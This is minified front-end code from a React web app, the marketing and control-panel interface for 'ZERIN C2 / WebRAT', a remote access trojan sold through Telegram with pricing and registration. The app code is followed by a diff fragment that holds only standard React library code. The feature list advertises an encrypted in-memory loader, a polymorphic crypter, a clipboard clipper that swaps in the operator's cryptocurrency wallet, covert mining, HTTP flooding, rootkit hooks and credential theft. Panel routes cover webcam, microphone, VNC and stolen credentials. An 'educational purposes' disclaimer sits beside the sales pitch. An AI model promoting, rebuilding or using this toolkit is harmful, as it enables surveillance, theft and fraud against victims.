Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function dS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const VV=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function J2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(J2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(J2,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const KV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function GV({cat:e,index:t}){const{ref:n,visible:r}=dS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(KV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(HV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function YV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function oc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function qV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(VV,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(ut,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(ut,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(ut,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(ut,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(YV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(oc,{value:String(s),label:"Capabilities"}),a.jsx(oc,{value:"13",label:"Persist Methods"}),a.jsx(oc,{value:"11",label:"Rootkit Hooks"}),a.jsx(oc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(GV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(ut,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function lc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function XV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function ew({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function ZV(){const[e]=Cx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Px(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function QV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):_x()?a.jsx(l_,{}):a.jsx(la,{to:"/login",replace:!0})}function JV(){return a.jsx(z6,{children:a.jsxs(OE,{children:[a.jsx(pt,{path:"/",element:a.jsx(QV,{})}),a.jsx(pt,{path:"/auth",element:a.jsx(ZV,{})}),a.jsx(pt,{path:"/features",element:a.jsx(qV,{})}),a.jsx(pt,{path:"/payment/:id",element:a.jsx(UV,{})}),a.jsx(pt,{path:"/login",element:a.jsx(ew,{children:a.jsx(c_,{})})}),a.jsx(pt,{path:"/register",element:a.jsx(ew,{children:a.jsx(u_,{})})}),a.jsx(pt,{path:"/vnc/:id",element:a.jsx(lc,{children:a.jsx(NV,{})})}),a.jsx(pt,{path:"/webcam/:id",element:a.jsx(lc,{children:a.jsx(EV,{})})}),a.jsx(pt,{path:"/mic/:id",element:a.jsx(lc,{children:a.jsx(AV,{})})}),a.jsxs(pt,{element:a.jsx(lc,{children:a.jsx(t_,{})}),children:[a.jsx(pt,{path:"/dashboard",element:a.jsx(HU,{})}),a.jsx(pt,{path:"/agents/:id",element:a.jsx(xV,{})}),a.jsx(pt,{path:"/events",element:a.jsx(gV,{})}),a.jsx(pt,{path:"/payloads",element:a.jsx(wV,{})}),a.jsx(pt,{path:"/credentials",element:a.jsx(BV,{})}),a.jsx(pt,{path:"/crypter",element:a.jsx(RV,{})}),a.jsx(pt,{path:"/admin",element:a.jsx(XV,{children:a.jsx(LV,{})})})]}),a.jsx(pt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Lm.createRoot(document.getElementById("root")).render(a.jsx(Oh.StrictMode,{children:a.jsx(FE,{children:a.jsx(JV,{})})})); diff --git a/dist/assets/index-fDcwXJQ4.js b/dist/assets/index-fDcwXJQ4.js new file mode 100755 index 0000000..fa84861 --- /dev/null +++ b/dist/assets/index-fDcwXJQ4.js @@ -0,0 +1,508 @@ +var fS=Object.defineProperty;var mS=(e,t,n)=>t in e?fS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Pf=(e,t,n)=>mS(e,typeof t!="symbol"?t+"":t,n);function pS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var tw={exports:{}},Yu={},nw={exports:{}},Se={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Jo=Symbol.for("react.element"),hS=Symbol.for("react.portal"),xS=Symbol.for("react.fragment"),vS=Symbol.for("react.strict_mode"),gS=Symbol.for("react.profiler"),yS=Symbol.for("react.provider"),bS=Symbol.for("react.context"),wS=Symbol.for("react.forward_ref"),jS=Symbol.for("react.suspense"),NS=Symbol.for("react.memo"),kS=Symbol.for("react.lazy"),Ov=Symbol.iterator;function zS(e){return e===null||typeof e!="object"?null:(e=Ov&&e[Ov]||e["@@iterator"],typeof e=="function"?e:null)}var rw={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},iw=Object.assign,aw={};function hs(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}hs.prototype.isReactComponent={};hs.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};hs.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function sw(){}sw.prototype=hs.prototype;function Ph(e,t,n){this.props=e,this.context=t,this.refs=aw,this.updater=n||rw}var Eh=Ph.prototype=new sw;Eh.constructor=Ph;iw(Eh,hs.prototype);Eh.isPureReactComponent=!0;var Tv=Array.isArray,ow=Object.prototype.hasOwnProperty,_h={current:null},lw={key:!0,ref:!0,__self:!0,__source:!0};function cw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)ow.call(t,r)&&!lw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=M[V];if(0>>1;Vi(be,U))yei(q,be)?(M[V]=q,M[ye]=U,V=ye):(M[V]=be,M[ue]=U,V=ue);else if(yei(q,U))M[V]=q,M[ye]=U,V=ye;else break e}}return F}function i(M,F){var U=M.sortIndex-F.sortIndex;return U!==0?U:M.id-F.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(M){for(var F=n(u);F!==null;){if(F.callback===null)r(u);else if(F.startTime<=M)r(u),F.sortIndex=F.expirationTime,t(c,F);else break;F=n(u)}}function j(M){if(g=!1,w(M),!x)if(n(c)!==null)x=!0,K(N);else{var F=n(u);F!==null&&_(j,F.startTime-M)}}function N(M,F){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var U=p;try{for(w(F),f=n(c);f!==null&&(!(f.expirationTime>F)||M&&!T());){var V=f.callback;if(typeof V=="function"){f.callback=null,p=f.priorityLevel;var Z=V(f.expirationTime<=F);F=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(F)}else r(c);f=n(c)}if(f!==null)var ae=!0;else{var ue=n(u);ue!==null&&_(j,ue.startTime-F),ae=!1}return ae}finally{f=null,p=U,h=!1}}var k=!1,z=null,S=-1,O=5,A=-1;function T(){return!(e.unstable_now()-AM||125V?(M.sortIndex=U,t(u,M),n(c)===null&&M===n(u)&&(g?(v(S),S=-1):g=!0,_(j,U-V))):(M.sortIndex=Z,t(c,M),x||h||(x=!0,K(N))),M},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(M){var F=p;return function(){var U=p;p=F;try{return M.apply(this,arguments)}finally{p=U}}}})(hw);pw.exports=hw;var IS=pw.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var DS=m,pn=IS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Im=Object.prototype.hasOwnProperty,RS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Lv={},Iv={};function $S(e){return Im.call(Iv,e)?!0:Im.call(Lv,e)?!1:RS.test(e)?Iv[e]=!0:(Lv[e]=!0,!1)}function BS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function FS(e,t,n,r){if(t===null||typeof t>"u"||BS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Th=/[\-:]([a-z])/g;function Mh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Th,Mh);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Lh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{Af=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Qs(e):""}function WS(e){switch(e.tag){case 5:return Qs(e.type);case 16:return 